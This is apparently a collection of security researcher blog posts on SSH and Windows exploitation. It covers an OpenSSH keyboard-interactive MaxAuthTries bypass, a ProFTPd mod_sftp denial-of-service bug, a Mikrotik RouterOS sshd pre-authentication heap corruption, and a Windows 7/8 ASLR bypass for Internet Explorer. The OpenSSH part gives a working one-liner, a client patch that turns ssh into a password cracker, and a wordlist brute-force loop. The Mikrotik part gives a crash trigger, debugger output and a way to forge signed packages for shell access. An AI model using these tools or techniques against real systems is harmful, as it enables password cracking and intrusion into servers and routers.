OpenSSH keyboard-interactive authentication brute force vulnerability (MaxAuthTries bypass)

OpenSSH has a default value of six authentication tries before it will close the connection (the ssh client allows only three password entries per default).

With this vulnerability an attacker is able to request as many password prompts limited by the “login graced time” setting, that is set to two minutes by default.

Especially FreeBSD systems are affected by the vulnerability because they have keyboard-interactive authentication enabled by default.

A simple way to exploit the bug is to execute this command:

ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "pam," x 10000'` targethost

This will effectively allow up to 10000 password entries limited by the login grace time setting.

The crucial part is that if the attacker requests 10000 keyboard-interactive devices openssh will gracefully execute the request and will be inside a loop to accept passwords until the specified devices are exceeded.

Here is a patch for openssh-6.9p1 that will allow to use a wordlist and any passwords piped to the ssh process to be used in order to crack passwords remotely.

diff openssh-6.9p1/sshconnect2.c openssh-6.9p1-modified/sshconnect2.c
 > char password[1024];
 < authctxt->success = 1; /* break out */
 > printf("==============================================\n");
 > printf("*** SUCCESS **********************************\n");
 > printf("*** PASSWORD: %s\n", password);
 > printf("==============================================\n");
 > exit(0);
 > char *devicebuffer;
 > int i;
 > devicebuffer = calloc(1, 200000);
 > if (!devicebuffer) {
 > fatal("cannot allocate devicebuffer");
 > }
 > for (i=0;i<200000-2;i+=2) {
 > memcpy(devicebuffer + i, "p,", 2);
 > }
 > devicebuffer[200000] = 0;
 < packet_put_cstring(options.kbd_interactive_devices ?
 < options.kbd_interactive_devices : "");
 > packet_put_cstring(devicebuffer);
 < char *name, *inst, *lang, *prompt, *response;
 > char *name, *inst, *lang, *prompt;
 < int echo = 0;
 > char *pos;
 < echo = packet_get_char();
 < response = read_passphrase(prompt, echo ? RP_ECHO : 0);
 < packet_put_cstring(response);
 < explicit_bzero(response, strlen(response));
 < free(response);
 > packet_get_char();
 > if (fgets(password, 1024, stdin) == NULL)
 > exit(0);
 > if ((pos=strchr(password, '\n')) != NULL)
 > *pos = '';
 > printf("%s\n", password);
 > packet_put_cstring(password);

After applying the patch you can use this shell script to make the password attack from a wordlist:

# run as:
# cat wordlist.txt | ./ ssh-username ssh-target
while true
./ssh -l$1 $2
rc=$?; if [[ $rc == 0 ]]; then exit $rc; fi
echo Respawn due to login grace time...

For example enter this command:

cat wordlist.txt | ./ test

The attack has been tested against a new FreeBSD 10.1 system and older FreeBSD versions such as version 6.2.

OpenSSL,OpenSSH ecdsa authentication code inconsistent return values.. no vulnerability?

I am always looking for bugs in OpenSSH as it is written in clear to read source code and has very strong security. Somehow I was suprised when I saw the new ecdsa authentication checks in OpenSSH and especially the transition to OpenSSL.

I did read the code and tested it and I doubt that OpenSSH or OpenSSL is vulnerable at all. I cannot verify this without a strong understanding of the math involved. Please don’t laugh at me if this leads to thin air.

Ecdsa is the authentication method used by newer OpenSSH versions aside with RSA and DSA public key authentication.

It uses elliptic curves and points on these elliptic curves to verify the connection is valid and authenticate. Inside the OpenSSH code I see that it will accept at least three curve types from the client. These are nistp256,nistp384 and nistp521 being identified by their bit count. nistp256 is used as a default curve. I could not validate if other curve types that are supported by OpenSSL can be used by a remote connection to go through OpenSSH authentication based on their bit count, as far as I have seen OpenSSH checks the bit count of the requested curve. I tried to supply OpenSSH with two dimensional curves that are supported by OpenSSL but it didn’t exactly succeed. Why is this important in a potential attack?

Because OpenSSH calls two functions in the transition to OpenSSL to validate authentication based on group types and more identifiers, these are:



EC_GROUP_cmp should validate if two groups (the curves) are equal to each other.

Fun is that the top check done is checking the curve name, which again is the bit count of the curves supplied:

int EC_GROUP_cmp(const EC_GROUP *a,const EC_GROUP *b,

BN_CTX *ctx)

479 /* compare the field types*/
480 if (EC_METHOD_get_field_type(EC_GROUP_method_of(a)) !=
481 EC_METHOD_get_field_type(EC_GROUP_method_of(b)))
482 return 1;
483 /* compare the curve name (if present) */
484 if (EC_GROUP_get_curve_name(a) && EC_GROUP_get_curve_name(b) &&
485 EC_GROUP_get_curve_name(a) == EC_GROUP_get_curve_name(b))
486 return 0;

If the bit count is equal then OpenSSL will return zero as a value for success. This is not particular wrong behaviour, still akward that it only checks for the bit count when it should check the curve itself. For me a curve is like a graph and the bit count is only a small factor of the real information that should be checked before returning success.

The second function OpenSSH calls for verifiying authentication is EC_POINT_cmp. This function compares two EC_POINT values that encode x,y and z coordinates as OpenSSL BIGNUM types, the first originates from the authorized_keys file, the second from the client.

This function has more suspicious code flow. It returns success in comparison of the points if the curves method doesn’t have a point compare function. I know that this is internal audit code but still it shouldn’t return zero indicating success to OpenSSH, a return value of 1 should be fine.

The second check in EC_POINT_cmp will return success in comparison if the curves method is different from the first points method or if the first points method is different from the second points method. Especially the second check is interesting because point two is user supplied. Again a return value of 1 would be secure even if this might be internal audit code.

int EC_POINT_cmp(const EC_GROUP *group,const EC_POINT *a,

const EC_POINT *b,

BN_CTX *ctx)

992 {
993 if (group->meth->point_cmp == 0)
994 {
996 return 0;
997 }
998 if ((group->meth != a->meth) || (a->meth != b->meth))
999 {
1001 return 0;
1002 }
1003 return group->meth->point_cmp(group, a, b, ctx);
1004 }

When all these checks are passed it will call the curves point compare routine that is bound to the curve type.

The default case is that ec_GFp_simple_cmp function gets called for a nistp256 curve.

This function checks at the very top if point a is at its infinity. If that is the case and point b is at its infinity too than zero is returned again as success. It might sound undoable but what if somebody manages to set both points to its infinity by manipulating either one of the points or the curve. A point is at infinity if its Z coordinate is zero.

Here is an interesting commit involving the function:

These are the two authentication checks done in OpenSSH to verify a users certificate, here is the check in key.c:

299 if (EC_GROUP_cmp(EC_KEY_get0_group(a->ecdsa),
300  EC_KEY_get0_group(b->ecdsa), bnctx) != 0 ||
301  EC_POINT_cmp(EC_KEY_get0_group(a->ecdsa),
302  EC_KEY_get0_public_key(a->ecdsa),
303  EC_KEY_get0_public_key(b->ecdsa), bnctx) != 0) {
304  BN_CTX_free(bnctx);
305 return 0;
306 }

It much depends on the order the arguments are given to the OpenSSL functions because if EC_POINT_cmp takes the curve (named group here) as first argument it will do run authentication checks with this supplied curve. OpenSSH does that correctly by supplying the curve from the authorized_keys file as first argument whereas proftpd mod_sftp does supply the clients curve as the first argument and moreover the clients point BIGNUM coordinates as the first point in the arguments.

I personally do not trust this code, not because i don’t believe it’s secure but because it bluntly returns authentication success to OpenSSH when making internal audit checks. My personal opinion is that OpenSSH does not deserve this entry point of insecurity.



ProFTPd mod_sftp/mod_sftp_pam invalid pool allocation during kbdint authentication

ProFTPd installs with mod_sftp and mod_sftp_pam activated contain the vulnerability described in this post.

The current stable release of ProFTPd is 1.3.4d and the current release candidate is 1.3.5rc3.

First I have to note that this vulnerability is unlikely to be exploited. There is a way to control $rip instruction pointer

on 64 bit systems, for example on the Ubuntu 64Bit platform but I believe that it is not possible to get full code execution with this bug.

The bug is useful to trigger a large heap allocation and exhaust all available system memory of the underlying operating system.

Inside the file located at proftpd-1.3.5rc2/contrib/mod_sftp/kbdint.c ProFTPd handles the SSH keyboard interactive authentication procedure, in this case it will use pam as an authentication library therefore mod_sftp_pam has to be active for an installation to be vulnerable.

Source code file and line kbdint.c:300 reads:

[1] resp_count = sftp_msg_read_int(pkt->pool, &buf, &buflen);

[2] list = make_array(p, resp_count, sizeof(char *));
for (i = 0; i < resp_count; i++) {
char *resp;

resp = sftp_msg_read_string(pkt->pool, &buf, &buflen);
*((char **) push_array(list)) = pstrdup(p, sftp_utf8_decode_str(p, resp));

Line 1 will read the kbdint response count which is an unsigned integer with a size of 32 bits from the client during an SSH kbdint userauth info response client request.

This value is used to allocate a buffer with the size user_supplied_uint32_value multiplied by the size of a char pointer being 32bits or 64bits depending on the platform.

There is no size check before the request is sent to the pool allocator that is called by make_array at Line 2.

The pool allocator can be tricked to handle negative allocation sizes if resp_count is large enough.

There is a size check of the response count value but it’s done after this function returns.

The DoS condition can be triggered by sending an int32 value for resp_count that is slightly below the available memory of the target system and repeating the request.

Noteably OpenSSH vulnerability CVE-2002-0640 is very similar to this ProFTPd vulnerability. It has the very same code path.

Here is a reference to the OpenSSH Challenge-Response Authentication bug that was exploited by GOBBLES Security in their year 2002 sshutuptheo.tgz exploit:

Usage of keyboard interactive authentication in ProFTPd mod_sftp is rare as it is not activated by default.



Mikrotik RouterOS 5.* and 6.* sshd remote preauth heap corruption


During an audit the Mikrotik RouterOS sshd (ROSSSH) has been identified to have a remote previous to authentication heap corruption in its sshd component. Exploitation of this vulnerability will allow full access to the router device. This analysis describes the bug and includes a way to get developer access to recent versions of Mikrotik RouterOS using the ‘/etc/devel-login’ file. This is done by forging a modified NPK file using a correct signature and logging into the device with username ‘devel’ and the password of the administrator. This will drop into a busybox shell for further researching the sshd vulnerability using gdb and strace tools that have been compiled for the Mikrotik busybox platform. shows >290.000 entries for the ROSSSH search term.

The 50 megs Mikrotik package including all research items can be downloaded here (this link is subject to change):




  • VMWare image for x86 (other available architectures are not included but affected mips,ppc and so on) is available in the downloadable package
  • Overview of versions and architectures
  • Version 6.2 is affected, as a testbed VM I use version 5.25
  • Version 4 (?) is using openssh as a daemon. The crash in sshd might still occur in these versions tough untested (service respawns)
  • 5 (?) and up (including 5.25 and 6.2) use ROSSSH secure shell service
  • There is an option in the ssh service to login as user ‘devel’ and the same password as ‘admin’. To be able to do this it is required that the file ‘/etc/devel-login’ exists. This file is created at installation phase of the Mikrotik iso.
  • The Mikrotik 5.25 iso was modified to write this file into /etc/ folder during iso installation inside VMWare. This is accomplished by modifying an NPK package, the installation package format of Mikrotik.
  • Development tools, all to be used inside a second Linux
    • dumps NPK package structure and contents
    • * not used because it doesn’t handle signature
    • takes a ‘autosupout.rif’ file (it is a crashdump and logfile of the Mikrotik system when a crash occurs during operation) and converts it into a human readable form. The tool ‘Winbox’ developed by Mikrotik is used to fetch this .rif file from the device from the ‘Files’ section.
    •  ‘sshd’ binary file and libraries ‘’,’’ extracted from the device
    •  Interactive Disassembler for disassembling the x86 binaries of sshd
    •  The device runs on busybox. The second Linux can be used to compile a gdb that uses busybox in order to run it inside the Mikrotik VM, gdb is installed inside the Mikrotik VM. In the current state gdb does not resolve symbols, it is assumed that gdb has to be compiled on the target vm in order to resolve symbols. Error output from gdb:

‘Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that.
Symbol format `elf32-i386′ unknown.’
Still gdb can be used in the normal way only that function names from IDA will not be displayed.

    • strace is installed the same way gdb is. The strace tool is included in the VM.
  •  sshd heap corruption
    • There are 2 Crashpaths
      • one triggering an assert that might be circumvented
      •  crash occurs in ‘’
      •  it is triggered using the following command:

ssh -l`perl -e ‘print “A” x 100000’` <ip of mikrotik router>

      • it is unclear why the assert crashes the sshd service process, normally it should write the ‘too long message sent’ to the log- file and bail out without reaching the assert.

Assumed is because control structures where overwritten and the assert catches this corruption. The process dies with Signal 6, abort trap. It does not respawn.

    • one triggering Sigsegv, signal 11 with controllable values
      • crash occurs inside
      • here is the gdb log when the crash occurs, the value of ECX is controlled other values of memory regions (?) or registers are controllable too when tweaking the trigger client. The instructions “rep movsb %ds:(%esi),%es:(%edi)” copy from ESI (here our AAAA’s buffer is located) to EDI, in this case EDI has a zero value, in other testcases the value of EDI is a memory pointer.

GNU gdb 6.8
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i686-linux-uclibc”…
attach: No such file or directory.
Attaching to process 324
Reading symbols from /nova/bin/sshd…I’m sorry, Dave, I can’t do that. Symbol format `elf32-i386′ unknown.
A program is being debugged already. Kill it? (y or n) n
Program not killed.
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0x77848596 in ?? ()
(gdb) bt
#0 0x77848596 in ?? ()
(gdb) i f
Stack level 0, frame at 0x7f8f78b4:
eip = 0x77848596; saved eip 0x8050e38
Arglist at 0x7f8f78ac, args:
Locals at 0x7f8f78ac, Previous frame’s sp is 0x7f8f78b4
Saved registers:
eip at 0x7f8f78b0
(gdb) x/10i $eip
0x77848596: rep movsb %ds:(%esi),%es:(%edi)
0x77848598: mov -0x1c(%ebp),%ecx
0x7784859b: mov 0x8(%ebp),%eax
0x7784859e: add %ecx,0xc(%eax)
0x778485a1: add $0x10,%esp
0x778485a4: mov %edx,%eax
0x778485a6: lea -0xc(%ebp),%esp
0x778485a9: pop %ebx
0x778485aa: pop %esi
0x778485ab: pop %edi
(gdb) i r
eax 0x0 0
ecx 0xc0ffff 12648447
edx 0x8050e38 134549048
ebx 0x7785ea9c 2005265052
esp 0x7f8f78b0 0x7f8f78b0
ebp 0x7f8f78e8 0x7f8f78e8
esi 0x806ca22 134662690
edi 0x0 0
eip 0x77848596 0x77848596
eflags 0x210216 [ PF AF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x0 0
(gdb) x/10x $esi
0x806ca22: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca32: 0x41414141 0x41414141 0x41414141 0x41414141
0x806ca42: 0x41414141 0x41414141

    •  here is the C source of code lines that make this crash occur, specifically ‘getStringAsBuffer’ is the function that contains the code that includes the ‘rep movsb %ds:(%esi),%es:(%edi)’ seen at the gdb log when the crash occurs. Extracted with Hex Rays Decompiler (IDA Plugin)

//—– (00018518) ——————————————————–
void *__cdecl Buffer::getStringAsBuffer(int a1)
char v1; // al@1
void *v2; // edx@1
unsigned int v3; // eax@2
char v4; // al@2
void *v5; // ST18_4@3
unsigned int v7; // [sp+14h] [bp-1Ch]@2

v1 = Buffer::avail(a1, 4);
v2 = 0;
if ( v1 )
v3 = Buffer::getInt32(a1);
v7 = v3;
v4 = Buffer::avail(a1, v3);
v2 = 0;
if ( v4 )
v5 = malloc(0x14u);
Buffer::Buffer(v5, v7);
v2 = v5;
memcpy(*((void **)v5 + 1), (const void *)(*(_DWORD *)(a1 + 12) + *(_DWORD *)(a1 + 4)), v7);
*(_DWORD *)(a1 + 12) += v7;
return v2;

//—– (00014FB4) ——————————————————–
int __cdecl Buffer::Buffer(int a1, int a2)
int result; // eax@1

result = a1;
*(_BYTE *)(a1 + 16) = 0;
*(_DWORD *)(a1 + 12) = 0;
*(_DWORD *)a1 = 0;
*(_DWORD *)(a1 + 4) = 0;
*(_DWORD *)(a1 + 8) = 0;
if ( a2 )
result = Buffer::expand(a1, a2);
return result;

//—– (00014EAA) ——————————————————–
char __cdecl Buffer::expand(int a1, int a2)
int v2; // ecx@1
const void *v3; // eax@1
int v4; // esi@1
char result; // al@1
void *v6; // eax@5
int v7; // edx@5
int v8; // [sp+4h] [bp-24h]@1
unsigned int v9; // [sp+8h] [bp-20h]@4
const void *ptr; // [sp+Ch] [bp-1Ch]@1

v2 = *(_DWORD *)(a1 + 8);
v3 = *(const void **)(a1 + 4);
ptr = v3;
v8 = v2 – (_DWORD)v3;
v4 = *(_DWORD *)(a1 + 12) + a2;
result = 1;
if ( v4 > (unsigned int)v8 )
if ( (unsigned int)v4 <= 0x40400 )
v9 = *(_DWORD *)a1;
if ( (unsigned int)v4 <= *(_DWORD *)a1 )
*(_DWORD *)(a1 + 8) = v4 – v8 + v2;
v6 = malloc((v4 + 71) & 0xFFFFFFF8);
v7 = a1;
*(_DWORD *)(a1 + 4) = v6;
*(_DWORD *)(a1 + 8) = (char *)v6 + v4;
if ( ptr )
memcpy(v6, ptr, v9);
free((void *)ptr);
v7 = a1;
*(_DWORD *)v7 = (v4 + 71) & 0xFFFFFFF8;
result = 1;
*(_BYTE *)(a1 + 16) = 1;
result = 0;
return result;

  •  crash analysis

— signal=6 ——————————————–

eip=0x77533bd9 eflags=0x00200202
edi=0x7fed71f8 esi=0x7755a268 ebp=0x7fed6ec8 esp=0x7fed6ec0
eax=0x00000000 ebx=0x00000375 ecx=0x00000006 edx=0x77559ff4

backtrace: 0x77533bd9 0x7754ff5b 0x77551a9f 0x775367aa 0x776ceec8 0x776d76b3
0x776d1a2f 0x776d886d 0x7770aa32 0x7770e128 0x7770e321 0x777131af 0x7770e54b
0x77708f53 0x776fab3d 0x776c75fe 0x776c769c 0x776d26ad 0x0804aadd 0x77555bf6

87 d3 89 c6 3d 00 f0 ff ff 76 0c e8 97 e3 ff ff

08048000-0804c000 r-xp 00000000 03:02 229622 /nova/bin/sshd
77523000-77525000 r-xp 00000000 03:02 148070 /lib/
77527000-77528000 r-xp 00000000 03:02 147779 /lib/
7752a000-77559000 r-xp 00000000 03:02 148087 /lib/
7755d000-77562000 r-xp 00000000 03:02 106659 /lib/
77563000-77573000 r-xp 00000000 03:02 148084 /lib/
77574000-7757c000 r-xp 00000000 03:02 147776 /lib/
7757d000-77693000 r-xp 00000000 03:02 147777 /lib/
776a4000-776ad000 r-xp 00000000 03:02 148066 /lib/
776ae000-776e3000 r-xp 00000000 03:02 148083 /lib/
776e7000-77715000 r-xp 00000000 03:02 148155 /lib/
7771a000-7771f000 r-xp 00000000 03:02 148082 /lib/
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:
LOOPER: write message too long
/nova/bin/sshd: looper.cpp: 1324:
void nv::Looper::writeMessage(const nv::message&): Assertion `false’ failed.

logtail end

— signal=11 ——————————————–

eip=0x777cc596 eflags=0x00210202
edi=0x00000000 esi=0x0806c0da ebp=0x7fba7928 esp=0x7fba78f0
eax=0x00000000 ebx=0x777e2a9c ecx=0x00c0ffff edx=0x08052868

backtrace: 0x777cc596 0x777d4203 0x777daf7c 0x777db321 0x777e01af 0x777db54b
0x777d5f53 0x777c7b3d 0x777945fe 0x7779469c 0x7779f6ad 0x0804aadd

f3 a4 8b 4d e4 8b 45 08 01 48 0c 83 c4 10 89 d0

08048000-0804c000 r-xp 00000000 03:02 16630 /nova/bin/sshd
775ec000-775ee000 r-xp 00000000 03:02 336486 /lib/
775f0000-775f1000 r-xp 00000000 03:02 336195 /lib/
775f3000-77622000 r-xp 00000000 03:02 336503 /lib/
77626000-7762f000 r-xp 00000000 03:02 336496 /lib/
77630000-77640000 r-xp 00000000 03:02 336500 /lib/
77641000-77649000 r-xp 00000000 03:02 336192 /lib/
7764a000-77760000 r-xp 00000000 03:02 336193 /lib/
77771000-7777a000 r-xp 00000000 03:02 336482 /lib/
7777b000-777b0000 r-xp 00000000 03:02 336499 /lib/
777b4000-777e2000 r-xp 00000000 03:02 336571 /lib/
777e7000-777ec000 r-xp 00000000 03:02 336498 /lib/
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

logtail 1024 begin:,,hmac-md5,hmac-sha1,umac-64,,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hma,hmac-sha1-96,hmac-md5-96
mac algo SC:,,umac-64-etm@open,,,hmac-sha2-512-etm,,,hmac-md,hmac-md5,hmac-sha1,,
comp algo CS: none,,zlib
comp algo SC: none,,zlib
packet follows: 0
agreed on: diffie-hellman-group-exchange-sha256 aes128-cbc aes128-cbc hmac-md5 h
mac-md5 none none
trying DSS file
DSA key loaded
trying PEM container..
DSA key loaded
transport state: 1 –> 2
authorization service requested
auth req: kcope ssh-connection none
next auth methods: publickey,password

logtail end

  •  logins for the Mikrotik VM

the ip address of the device can be seen with the command
ip address print
because dhcp should already be activated.

admin username: admin
admin password: <blank>

developer login using telnet and ssh, please login with telnet for using gdb
devel username: devel
devel password: <blank>

  •  files that are included in the downloadable package
    •  Mikrotik-5.25-dev.vmdk and .vmx – Virtual Machine of Mikrotik router.
    •  mikrotik-5.25-touchdevel.iso – the iso file for installation

VMWare 8.0.3 is used to run it, all other softwares will run it too
such as QEmu and Virtualbox

    •  trigger source code for crash number 2.

modified file: sshconnect2.c of openssh6.2p2trigger.tar.gz

    •  ups-5.25-touchdevel.npk the NPK package that is used to create the ‘/etc/devel-login’ file. It is already included in the mikrotik-5.25-touchdevel.iso it has been created by modifying the commands that are executed during installation using a hex editor and afterwards the SHA1 signature of the NPK file has been identified using the original installer binary by reversing. The signature has been set in the NPK file so the ISO installer accepts the NPK during installation even if it prints out a warning.
    •  gdb toolchain

the gdb,strace,ps,netstat binaries that where copied to the target

    •  C source files of and

extracted with hex rays decompiler IDA plugin

    •  all binaries can be extracted from the target by copying them using developers login from their file path to ‘/rw/pckg’ and fetching them using the Winbox tool to a Windows system. In the same way files can be copied inside Winbox ‘Files’ section these files will be then located in ‘/rw/pckg’.
    •  Winbox Configuration tool for RouterOS can be found at

Attacking the Windows 7/8 Address Space Randomization

Attacking the Windows 7/8 Address Space Randomization
Copyright (C) 2013 Kingcope

"Was nicht passt wird passend gemacht" 
(English: "If it don't fit, use a bigger hammer.") 
	German phrase

Synopsis - What this text is all about

The following text is what looks like an attempt to circumvent windows 7 and
windows 8 memory protections in order to execute arbritrary assembly code.
The presented methods are in particular useful for client-side attacks as used
for example in browser exploits.
The topic that is discussed is a very complex one. At the time I started the
research I thought the idea behind the attack will be applied to real-world
scenarios quick and easy. I had to be convinced by the opposite.
The research was done without knowing much about the real internals of the 
windows memory space protection but rather using brute force, trial & failure
in order to achieve what will be presented in the upcoming text. Be warned -
the methods to attack the protection mechanisms hereby presented are not
failsafe and can be improved. Tough in many cases it is possible to
completely bypass Windows 7 and especially Windows 8 ASLR by using the

Target Software

The used operating systems are Windows 7 and Windows 8, the included PoC code
runs on 32 Bits platforms and exploits Internet Explorer 8. All can be applied
to Internet Explorer 9 with modifications to the PoC code. 
For Internet Explorer 10 the memory protection bypass is included and
demonstrated in the PoC. Executing code through return oriented programming
is left as an excercise to the reader.
The PoC makes use of the following vulnerability and therefore for testing the
PoC the patch must not be installed.
MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
This vulnerability is identified as CVE-2012-4969.
It might be possible to use the very same method to exploit other browsers
as other browsers give similar opportunities to the exploit writer. I don't want
to sound crazy but even other Operating Systems might be affected by this, yet

Current ways to exploit browsers

Today alot of attention is brought to client side exploits especially inside
web browsers. Normally the exploitation is done through the old known method
of spraying the heap. This is done by populating the heap with nopsleds and
actual shellcode. By filling the heap in this way a heap overrun can be used
to rewrite the instruction pointer of the processor to a known heap address
where the shellcode resides quite deterministic.
In order to bypass protections like Data Execution Prevention a ROP chain is
built. There are exploits that install a stack pivot in the first place in
order to exploit a heap overrun as it would be a stack based buffer overrun
using a "return into code" technique. The mentioned modern ways to exploit
heap corruptions are documented very well.  
When it comes to Windows 7 and Windows 8 exploitation the exploit writer
will face the obstacle of randomized memory space. There remains the simple
question where do I jump to when having control over the instruction pointer?
It might by possible to leak memory directly from the web browser and use this
information to gain information about the correct offsets and executable code
sections. This requires knowledge about a memory leak bug tough and therefore
is not used alot. Another option is to use old DLLs that do not have their
image bases randomized, for example older Java versions are known to have un-
randomized image bases. This option requires the use of third-party software
that has to be installed.
This text will present a new way to deal with the 'where do i jump when
I have code execution' problem.

Introduction to Windows memory randomization

Windows 7 and Windows 8 have a special security relevant protection programmed
in. The so called A.S.L.R or '[A]ddress [S]pace [L]ayout [R]andomization' that 
does nothing more than randomize every piece of memory, say its offsets.
For example the program image is randomized, the DLLs the program uses are
randomized too. There is not a single piece of memory from what one could say
after a reboot the data in the memory space will be at the same place as before
the reboot. The addresses even change when a program is restarted.

ActiveX and other useful features

Web browser exploits have many advantages to other kinds of exploits.
For example JavaScript code can be executed inside the webbrowser. This is also
the tool that heap spraying makes use of.
Let us have a look at what happens if we load an ActiveX object dynamically
when a web page loads. The ActiveX object we will load is the Windows Media 
Player control. This can either be done using JavaScript or plain HTML code.
At the point the ActiveX object is loaded Windows will internally load the
DLLs into memory space if they previously where not inside the programs
memory space. The offset of loading the DLLs in memory space is completely 
random. At least it should be. Let us now see how we can manage to put a DLL
into memory space at a fixed address by loading an ActiveX object at runtime.

Exhausting memory space and squeezing DLLs into memory

The nuts and bolts of what is presented here is the idea that DLLs are loaded
into memory space if there is memory available, and if there is no memory or
only small amounts of memory available then the DLL will be put into the
remaining memory hole. This sounds simple. And it works, we can load a DLL
into a remaining memory hole. First of all the exploit writer has to code
a javascript routine that does fill memory until the memory boundary is hit
and a javascript exception is raised. When the memory is filled up the installed
javascript exception handler will execute javascript code that frees small
chunks of memory in several steps, each step the javascript code will try to
load an ActiveX object. The result is that the DLL (sometimes there are several
DLLs loaded for an ActiveX object) will be loaded at a predictable address.
This means that now the exploit writer has a predictable address to jump to and
the 'where do i jump when I have code execution' problem is solved.
One problem the method has is that Windows will become unresponsive at the time
memory is exhausted but will resume normal operation after the DLL is loaded
at a fixed address and the memory is freed using the javascript code.

Summary of exploitation stages:
 * Fill the heap with random bytes until all memory is used up.
  During the heap filling stage Windows might become unresponsive and will relax
  soon afterwards
·* Free small heap blocks one by one and try adding a DLL
   (for example by using a new ActiveX Object that is loadable without a warning
   by Internet Explorer) This DLL (and the DLLs that are loaded from it) will
   be squeezed into the remaining memory region (the space that was freed by us
   through JavaScript). This address is fixed and predictable for us to jump to
 * Free the remaining memory blocks which were allocated before
 * Spray the heap using the well known method
 * Finally trigger the heap corruption and jump to this fixed DLL base to
   execute our code in a ROP manner. 

To say it abstract the exploit writer has to be especially careful about the
timing in the JavaScript code and about the memory the exploit routines
themselves take up.

ROP chain and the LoadLibrary API

At the time we have loaded the DLL at a predictable address it is possible to
use a ROP chain in order to execute shellcode. The PoC code goes a much simpler
path. It will use a short ROP chain and call the LoadLibrary API that is
contained in the Windows Media Player DLLs. This way another DLL can be fetched
from a WebDAV share and loaded into the Internet Explorer memory space in order
to fully execute arbritrary code.

Windows 8 singularity

Testcases have shown that Windows 8 behaves more vulnerable to the method than
Windows 7. In Windows 8 the DLL will be loaded at the very low address 0x10000
and more reliable than in Windows 7. Windows 7 is much more persistant in
loading the DLL at a fixed memory address. The testcases for Windows 7 have
shown that the DLL will be loaded at the predictable address at least 7 out of
10 times of loading the exploit.

The PoC codes

There are two different PoCs, one for Windows 7 and one for Windows 8.
The Windows 8 code is a slightly modified version of the Windows 7 code.
Please note that Windows Defender detects the Win8 PoC as being an exploit and
blocks execution. The parts which are detectable by windows defender are
not needed for the A.S.L.R. attack to work. Please disable Windows Defender
if you test the Windows 8 PoC for now.

The Windows 7 PoC is successful if it loads gdiplus.dll at the predictable
fixed offset 0x7F7F0000. If you are lucky and have set up the exploit
appropriately the payload will be executed, which is currently a MessageBox that
pops up.
The Windows 8 PoC is successful if it loads gdiplus.dll at the predictable
fixed offset 0x10000.
Please note that wmp.dll (Windows Media Player DLL) and gdiplus.dll should not
be in the Internet Explorer address space prior to executing the PoC for it 
to succeed.
As a final note, the PoC does not depend on the ActiveX control that is added it
can be changed with some effort to load a different DLL.

Here are the mappings I tested when the PoC succeeds:

Windows 7 32-Bit Service Pack 0 & Service Pack 1 across reboots:
Address    Size       Owner      Section    Contains      Type   	Access    
7F7F0000   00001000   gdiplus               PE header     Imag   R         RWE
7F7F1000   0016B000   gdiplus    .text      code,imports  Imag   R         RWE
7F95C000   00008000   gdiplus    .data      data          Imag   R         RWE
7F964000   00001000   gdiplus    Shared                   Imag   R         RWE
7F965000   00012000   gdiplus    .rsrc      resources     Imag   R         RWE
7F977000   00009000   gdiplus    .reloc     relocations   Imag   R         RWE

Windows 8 32-Bit across reboots:
Address    Size       Owner      Section    Contains      Type   	Access    
00010000   00001000   gdiplus               PE header     Imag   R         RWE
00011000   00142000   gdiplus    .text      code,exports  Imag   R         RWE
00153000   00002000   gdiplus    .data                    Imag   R         RWE
00155000   00003000   gdiplus    .idata     imports       Imag   R         RWE
00158000   00012000   gdiplus    .rsrc      resources     Imag   R         RWE
0016A000   00009000   gdiplus    .reloc     relocations   Imag   R         RWE

The archive containing the PoCs is found here: